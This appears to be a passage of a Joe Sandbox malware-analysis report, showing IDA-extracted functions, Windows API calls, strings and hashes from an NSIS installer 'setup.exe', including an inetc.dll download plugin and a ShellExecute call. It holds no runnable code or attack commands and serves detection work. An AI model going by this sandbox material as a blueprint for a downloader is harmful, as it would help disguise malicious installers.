Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$CallbackDispatcherLongMenuUser$ClassDestroyEnableEnabledSystemTextlstrlen
String ID: Greak Memories of Azur Trke Yama.exe
API String ID: 1252290697-1759953363
Opcode ID: 14e7e0a8131732f9e150b36a7fce0cb21c204cb0cec2561e24870ec1d01c69b9
Instruction ID: 1b558320748e03173a152966608fa9e4bba3452d5179f8dde3fdb5243a6fbb8a
Opcode Fuzzy Hash: 14e7e0a8131732f9e150b36a7fce0cb21c204cb0cec2561e24870ec1d01c69b9
Instruction Fuzzy Hash: 21C18071A04204BBDB216F21ED45E2B3E7DEB4970AF40053EF541B12E1C739AA42DB6E

Uniqueness

Uniqueness Score: -1.00%

Function 004036AF Relevance: 51.0, APIs: 15, Strings: 14, Instructions: 216
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405E88: GetModuleHandleA.KERNEL32(?,?,00000000,0040327F,00000008), ref: 00405E9A
Part of subcall function 00405E88: LoadLibraryA.KERNEL32(?,?,00000000,0040327F,00000008), ref: 00405EA5
Part of subcall function 00405E88: GetProcAddress.KERNEL32(00000000,?), ref: 00405EB6

lstrcatA.KERNEL32(1033,004204A0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004204A0,00000000,00000006,"C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe",00000000,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00403720
lstrlenA.KERNEL32(00422E40,?,?,?,00422E40,00000000,00429400,1033,004204A0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004204A0,00000000,00000006,"C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe"), ref: 00403795
lstrcmpiA.KERNEL32(?,.exe), ref: 004037A8
GetFileAttributesA.KERNEL32(00422E40), ref: 004037B3
LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,00429400), ref: 004037FC

Part of subcall function 00405AC4: wsprintfA.USER32 ref: 00405AD1

RegisterClassA.USER32 ref: 00403843
SystemParametersInfoA.USER32(00000030,00000000,_Nb,00000000), ref: 0040385B
CreateWindowExA.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403894
ShowWindow.USER32(00000005,00000000), ref: 004038CA
LoadLibraryA.KERNEL32(RichEd20), ref: 004038DB
LoadLibraryA.KERNEL32(RichEd32), ref: 004038E6
GetClassInfoA.USER32(00000000,RichEdit20A,00423640), ref: 004038F6
GetClassInfoA.USER32(00000000,RichEdit,00423640), ref: 00403903
RegisterClassA.USER32(00423640), ref: 0040390C
DialogBoxParamA.USER32(?,00000000,00403A45,00000000), ref: 0040392B

Strings

RichEd20, xrefs: 004038D6
C:\Users\user\AppData\Local\Temp\, xrefs: 004036B3
_Nb, xrefs: 00403852, 00403857
RichEd32, xrefs: 004038E1
.exe, xrefs: 004037A2
"C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe", xrefs: 004036BB
RichEdit, xrefs: 004038FD
.DEFAULT\Control Panel\International, xrefs: 0040370B
1033, xrefs: 004036CF, 0040371B
@.B, xrefs: 00403763
@6B, xrefs: 0040380B
Control Panel\Desktop\ResourceLocale, xrefs: 004036E3
RichEdit20A, xrefs: 004038EE, 004038F4
A.B, xrefs: 00403785

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe"$.DEFAULT\Control Panel\International$.exe$1033$@.B$@6B$A.B$C:\Users\user\AppData\Local\Temp\$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 914957316-3287436772
Opcode ID: 6186cd0dc7f5b8c4dd386d80bd90aa2821d034a13263318605b4bd1c267fc880
Instruction ID: 5edcd83abe1923a5ef33726047749e404321c8c293ca1ea02831498dc8d0bb6f
Opcode Fuzzy Hash: 6186cd0dc7f5b8c4dd386d80bd90aa2821d034a13263318605b4bd1c267fc880
Instruction Fuzzy Hash: A961A3B16442007FD720AF659D45E2B3AADEB4475AF40457FF940B22E1D77CAD01CA2E

Uniqueness

Uniqueness Score: -1.00%

Function 00404060 Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 204
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckDlgButton.USER32 ref: 004040EB
GetDlgItem.USER32 ref: 004040FF
SendMessageA.USER32 ref: 0040411D
GetSysColor.USER32(?), ref: 0040412E
SendMessageA.USER32 ref: 0040413D
SendMessageA.USER32 ref: 0040414C
lstrlenA.KERNEL32(?), ref: 00404156
SendMessageA.USER32 ref: 00404164
SendMessageA.USER32 ref: 00404173
GetDlgItem.USER32 ref: 004041D6
SendMessageA.USER32 ref: 004041D9
GetDlgItem.USER32 ref: 00404204
SendMessageA.USER32 ref: 00404244
LoadCursorA.USER32(00000000,00007F02), ref: 00404253
SetCursor.USER32(00000000), ref: 0040425C
ShellExecuteA.SHELL32(0000070B,open,@.B,00000000,00000000,00000001), ref: 0040426F
LoadCursorA.USER32(00000000,00007F00), ref: 0040427C
SetCursor.USER32(00000000), ref: 0040427F
SendMessageA.USER32 ref: 004042AB
SendMessageA.USER32 ref: 004042BF

Strings

@.B, xrefs: 00404264
N, xrefs: 004041F2
open, xrefs: 00404267
d.], xrefs: 00404080

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: @.B$N$d.]$open
API String ID: 3615053054-2796542496
Opcode ID: e8b988e3949f0b6d91b1b58256fef292242953983a672fd1ea6cb44b2e1e2ed0
Instruction ID: 7761d7a6ce13443680711406d70bf9c6d022160e69bfd2fffc9b265f6460a43d
Opcode Fuzzy Hash: e8b988e3949f0b6d91b1b58256fef292242953983a672fd1ea6cb44b2e1e2ed0
Instruction Fuzzy Hash: 4661B2B1A40209BFEB109F60DC45F6A3B69FB44755F10817AFB04BA2D1C7B8A951CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00402C72 Relevance: 28.2, APIs: 5, Strings: 11, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402C86
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe,00000400), ref: 00402CA2

Part of subcall function 0040583D: GetFileAttributesA.KERNEL32(00000003,00402CB5,C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe,80000000,00000003), ref: 00405841
Part of subcall function 0040583D: CreateFileA.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405863

GetFileSize.KERNEL32(00000000,00000000,0042B000,00000000,C:\Users\user\AppData\Local\Temp\is-CTG90.tmp,C:\Users\user\AppData\Local\Temp\is-CTG90.tmp,C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe,C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe,80000000,00000003), ref: 00402CEB
GlobalAlloc.KERNEL32(00000040,00409130), ref: 00402E32

Strings

"C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe", xrefs: 00402C7F
xo7, xrefs: 00402EF7
Null, xrefs: 00402D6B
C:\Users\user\AppData\Local\Temp\, xrefs: 00402C72, 00402E4A
soft, xrefs: 00402D62
C:\Users\user\AppData\Local\Temp\is-CTG90.tmp, xrefs: 00402CCD, 00402CD2, 00402CD8
Inst, xrefs: 00402D59
C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe, xrefs: 00402C8C, 00402C9B, 00402CAF, 00402CCC
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402EC9
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00402E7B
Error launching installer, xrefs: 00402CC2

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\is-CTG90.tmp$C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft$xo7
API String ID: 2803837635-3241171791
Opcode ID: 6147c8ce7f916bf316bc462c049502f5517c6654920939d23064a14b970bc3fe
Instruction ID: 0b72a330c31c6d4d52753dad6a5c3012229d4666e6dae103a7747cbc92612fb8
Opcode Fuzzy Hash: 6147c8ce7f916bf316bc462c049502f5517c6654920939d23064a14b970bc3fe
Instruction Fuzzy Hash: B761E231A40215ABDB20DF64DE49B9E7BB4EB04315F20407BF904B62D2D7BC9E458B9C

Uniqueness

Uniqueness Score: -1.00%

Function 00401734 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 147
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatA.KERNEL32(00000000,00000000,get,00429800,00000000,00000000,00000031), ref: 00401773
CompareFileTime.KERNEL32(-00000014,?,get,get,00000000,00000000,get,00429800,00000000,00000000,00000031), ref: 0040179D

Part of subcall function 00405B66: lstrcpynA.KERNEL32(?,?,00000400,004032AA,Greak Memories of Azur Trke Yama.exe,NSIS Error), ref: 00405B73

Part of subcall function 00404F04: lstrlenA.KERNEL32(Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000,?), ref: 00404F3D
Part of subcall function 00404F04: lstrlenA.KERNEL32(00402C4A,Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000), ref: 00404F4D
Part of subcall function 00404F04: lstrcatA.KERNEL32(Completed,00402C4A,00402C4A,Completed,00000000,00000000,00000000), ref: 00404F60
Part of subcall function 00404F04: SetWindowTextA.USER32(Completed,Completed), ref: 00404F72
Part of subcall function 00404F04: SendMessageA.USER32 ref: 00404F98
Part of subcall function 00404F04: SendMessageA.USER32 ref: 00404FB2
Part of subcall function 00404F04: SendMessageA.USER32 ref: 00404FC0

Strings

C:\Users\user\AppData\Local\Temp\nsn8043.tmp, xrefs: 0040177E, 004017ED, 0040180B
C:\Users\user\AppData\Local\Temp\nsn8043.tmp\inetc.dll, xrefs: 00401801, 0040181D
get, xrefs: 00401750, 00401759, 00401766, 00401778, 00401789, 004017BF, 004017D5, 004017F3, 00401833, 004018B4, 004018BD, 004018C7, 004018D2

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nsn8043.tmp$C:\Users\user\AppData\Local\Temp\nsn8043.tmp\inetc.dll$get
API String ID: 1941528284-1451129780
Opcode ID: 1f0edc045cd382c84092dd40ce01d8f20d2440185c22bd3c7f2df70350d19866
Instruction ID: ca24b6133afb507e547736dc5ab02d451b7f1a2d30e0a517c5ad6537af4b780a
Opcode Fuzzy Hash: 1f0edc045cd382c84092dd40ce01d8f20d2440185c22bd3c7f2df70350d19866
Instruction Fuzzy Hash: 8441C131900515BBCB10BFB5DD46EAF3A79EF01369B24433BF511B11E1D63C9A418AAD

Uniqueness

Uniqueness Score: -1.00%

Function 00404F04 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000,?), ref: 00404F3D
lstrlenA.KERNEL32(00402C4A,Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000), ref: 00404F4D
lstrcatA.KERNEL32(Completed,00402C4A,00402C4A,Completed,00000000,00000000,00000000), ref: 00404F60
SetWindowTextA.USER32(Completed,Completed), ref: 00404F72
SendMessageA.USER32 ref: 00404F98
SendMessageA.USER32 ref: 00404FB2
SendMessageA.USER32 ref: 00404FC0

Strings

Completed, xrefs: 00404F24, 00404F36, 00404F3C, 00404F5F, 00404F6B

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Completed
API String ID: 2531174081-3087654605
Opcode ID: 3060ff48176a0075549dcba78de7f639edbccfa172efc44d831dc49f1ba50047
Instruction ID: 33d69ec58002f5e3cec48cf4aa7ac502a1da6879986bf9ca4026f821734cd723
Opcode Fuzzy Hash: 3060ff48176a0075549dcba78de7f639edbccfa172efc44d831dc49f1ba50047
Instruction Fuzzy Hash: C4219D71A00108BBDF119FA5CD849DEBFB9EB49354F14807AFA04B6290C3389E45CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00402F18 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 109
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNEL32(00409130,00000000,00000000,00000000,00000000,00000000,?,?,?,00402EC4,000000FF,00000000,00000000,00409130,0000B5E4), ref: 00402F3F
ReadFile.KERNEL32(00409130,00000004,0000B5E4,00000000,00000004,00000000,00000000,00000000,?,?,?,00402EC4,000000FF,00000000,00000000,00409130), ref: 00402F6C
ReadFile.KERNEL32(00413040,00004000,0000B5E4,00000000,00409130,?,00402EC4,000000FF,00000000,00000000,00409130,0000B5E4), ref: 00402FC6
WriteFile.KERNEL32(00000000,00413040,0000B5E4,000000FF,00000000,?,00402EC4,000000FF,00000000,00000000,00409130,0000B5E4), ref: 00402FDE

Strings

xo7, xrefs: 00402F34, 00402F82, 00402FF6, 0040302B
@0A, xrefs: 00402FA6

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: File$Read$PointerWrite
String ID: @0A$xo7
API String ID: 2113905535-2548305845
Opcode ID: 3fc20a6f8204afd4db5be5275d6ec1a2b538eb21de19a3adc5be7867336c551b
Instruction ID: f0f891dec1baa82fcb152a6e3a42d02399587e043c2e4755ce28507b82245ee9
Opcode Fuzzy Hash: 3fc20a6f8204afd4db5be5275d6ec1a2b538eb21de19a3adc5be7867336c551b
Instruction Fuzzy Hash: 3F315731501249EBDB21CF55DD40A9E7FBCEB843A5F20407AFA05A6190D3789F81DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00403043 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 108
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403058

Part of subcall function 004031F1: SetFilePointer.KERNEL32(00000000,00000000,00000000,00402E9D,0000B5E4), ref: 004031FF

SetFilePointer.KERNEL32(00000000,00000000,?,00000000,?,00402F4E,00000004,00000000,00000000,00000000,?,?,?,00402EC4,000000FF,00000000), ref: 0040308B
WriteFile.KERNEL32(0040B040,00412182,00000000,00000000,00413040,00004000,?,00000000,?,00402F4E,00000004,00000000,00000000,00000000,?,?), ref: 00403145
SetFilePointer.KERNEL32(00376F78,00000000,00000000,00413040,00004000,?,00000000,?,00402F4E,00000004,00000000,00000000,00000000,?,?), ref: 00403197

Strings

xo7, xrefs: 00403047, 00403175
@0A, xrefs: 004030B8

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: File$Pointer$CountTickWrite
String ID: @0A$xo7
API String ID: 2146148272-2548305845
Opcode ID: 09db56204c7f15284c341d007dee54cfa9a87c515f6ef0f82ef5e9c09c89c7a4
Instruction ID: c862c83604f3b109b9ae356e59bf9e99270c6d64ee518f880403d0392c1b0dc8
Opcode Fuzzy Hash: 09db56204c7f15284c341d007dee54cfa9a87c515f6ef0f82ef5e9c09c89c7a4
Instruction Fuzzy Hash: 4B41ABB25042029FD710CF29EE4096A7FBDF748356705423BE501BA2E1CB3C6E099B9E

Uniqueness

Uniqueness Score: -1.00%

Function 00401F51 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000,00000001,000000F0), ref: 00401F7C

Part of subcall function 00404F04: lstrlenA.KERNEL32(Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000,?), ref: 00404F3D
Part of subcall function 00404F04: lstrlenA.KERNEL32(00402C4A,Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000), ref: 00404F4D
Part of subcall function 00404F04: lstrcatA.KERNEL32(Completed,00402C4A,00402C4A,Completed,00000000,00000000,00000000), ref: 00404F60
Part of subcall function 00404F04: SetWindowTextA.USER32(Completed,Completed), ref: 00404F72
Part of subcall function 00404F04: SendMessageA.USER32 ref: 00404F98
Part of subcall function 00404F04: SendMessageA.USER32 ref: 00404FB2
Part of subcall function 00404F04: SendMessageA.USER32 ref: 00404FC0

LoadLibraryExA.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00401F8C
GetProcAddress.KERNEL32(00000000,?), ref: 00401F9C
FreeLibrary.KERNEL32(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 00402007

Strings

?B, xrefs: 00401FC7

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID: ?B
API String ID: 2987980305-117478770
Opcode ID: a57e8c0769ea844e22e0c1e1f0cba5f5542df926a794c83fcda134ba5213478a
Instruction ID: 83c29b7dad20212888764ed045f323035a642c1bbb84e8da84d377f5f563bf0e
Opcode Fuzzy Hash: a57e8c0769ea844e22e0c1e1f0cba5f5542df926a794c83fcda134ba5213478a
Instruction Fuzzy Hash: D621EE72D04216EBCF207FA4DE49A6E75B06B44399F204237F511B52E0D77C4D41965E

Uniqueness

Uniqueness Score: -1.00%

Function 0040586C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040587F
GetTempFileNameA.KERNEL32(?,0061736E,00000000,?), ref: 00405899

Strings

"C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe", xrefs: 00405873
C:\Users\user\AppData\Local\Temp\, xrefs: 0040586C, 0040586F
nsa, xrefs: 00405878

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-3352826410
Opcode ID: fc5e126f8815d4696b9f295c06fae67d9d4e63728d0dbdda5093f58b42bfadad
Instruction ID: 7bdb262dbebad2fb51735791196b4a750b565e3ebaa120aaaad2cbe3184e43fd
Opcode Fuzzy Hash: fc5e126f8815d4696b9f295c06fae67d9d4e63728d0dbdda5093f58b42bfadad
Instruction Fuzzy Hash: B1F0A73734820876E7105E55DC04B9B7F9DDF91760F14C027FE44DA1C0D6B49954C7A5

Uniqueness

Uniqueness Score: -1.00%

Function 00401BAD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageTimeoutA.USER32 ref: 00401C0D
SendMessageA.USER32 ref: 00401C25

Strings

!, xrefs: 00401BE1

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 4c88f05d798f5705ce1e1e18451d2fcf653d7f56610e9d44bad61831beeb824c
Instruction ID: 67abd366a37910a3fb0c7fe19d632a25016d3899897cc5a5bd850e91adcb6683
Opcode Fuzzy Hash: 4c88f05d798f5705ce1e1e18451d2fcf653d7f56610e9d44bad61831beeb824c
Instruction Fuzzy Hash: B721C4B1A44209BFEF01AFB4CE4AAAE7B75EF44344F14053EF602B60D1D6B84980E718

Uniqueness

Uniqueness Score: -1.00%

Function 004053C6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SearchPathW.KERNEL32 ref: 004053EB
CloseHandle.KERNEL32(?), ref: 004053F8

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004053C6
Error launching installer, xrefs: 004053D9

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
